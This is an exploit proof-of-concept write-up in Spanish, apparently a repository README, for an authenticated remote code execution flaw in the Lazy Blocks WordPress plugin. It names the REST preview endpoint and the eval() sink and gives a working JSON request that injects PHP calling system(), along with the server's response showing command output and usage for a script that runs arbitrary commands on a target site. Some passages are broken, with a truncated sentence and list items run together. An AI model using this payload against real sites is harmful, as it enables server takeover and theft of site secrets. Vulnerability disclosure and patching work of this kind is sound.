
Prueba de concepto de exploit para CVE-2026-1560, una vulnerabilidad de ejecución remota de código autenticada en el plugin Lazy Blocks de WordPress, que permite a usuarios con privilegios bajos ejecutar PHP arbitrario a través de la API REST.
Investigador: ZeYrOXxx
Plugin: Custom Block Builder – Lazy Blocks
Versiones Afectadas: ≤ 4.2.0
Severidad: Alta
CVSS: 8.8
Tipo de Vulnerabilidad: Ejecución Remota de Código Autenticada (RCE)
Vector de Ataque: API REST
Privilegio Requerido: edit_posts (Colaborador+)
Se identificó una vulnerabilidad de seguridad alta en el plugin de WordPress Custom Block Builder – Lazy Blocks que afecta a las versiones hasta la 4.2.0 inclusive.
La vulnerabilidad permite a usuarios autenticados con privilegios bajos (rol de Colaborador) ejecutar código PHP arbitrario en el servidor a través de un endpoint de la API REST destinado a la funcionalidad de vista previa de bloques.
Este problema rompe por completo el modelo de privilegios de WordPress y puede conducir a un .
POST /wp-json/lazy-blocks/v1/block-builder-preview/
El endpoint es accesible para cualquier usuario autenticado con la capacidad edit_posts.
La ruta REST está registrada con una devolución de llamada de permisos débil:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
Esto incluye a los Colaboradores, a quienes nunca se les debería permitir ejecutar código PHP.
Controlador REST – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
Renderizador de Bloques – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
La función eval() ejecuta código PHP controlado por el atacante sin saneamiento ni validación.
Lazy Blocks permite lógica de renderizado PHP personalizada para bloques.
El endpoint de vista previa de la API REST acepta definiciones de bloques proporcionadas por el usuario y no distingue entre bloques almacenados de confianza y bloques de vista previa controlados por el atacante.
Al inyectar atributos de bloque aplanados como:
code_output_methodcode_editor_htmlun atacante puede alcanzar el sumidero de ejecución php_eval() y ejecutar código PHP arbitrario.
Solicitud:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Credenciales_Colaborador]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
Respuesta:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ Ejecución de comandos arbitrarios confirmada
Esta PoC se proporciona estrictamente con fines de pruebas de seguridad e investigación.
Un atacante con acceso de Colaborador puede:
wp-config.php)eval() en entradas controladas por el usuariomanage_options o unfiltered_htmlrequestsedit_posts (Colaborador+)pip install requests
python3 poc.py <url_objetivo> <usuario> <contraseña> "<comando>"
python3 poc.py https://victima.sitio colaborador contraseña "id"
Si el objetivo es vulnerable, la salida del comando se devolverá en la respuesta HTTP.
⚠️ Esta prueba de concepto está destinada estrictamente a pruebas de seguridad autorizadas y fines de investigación.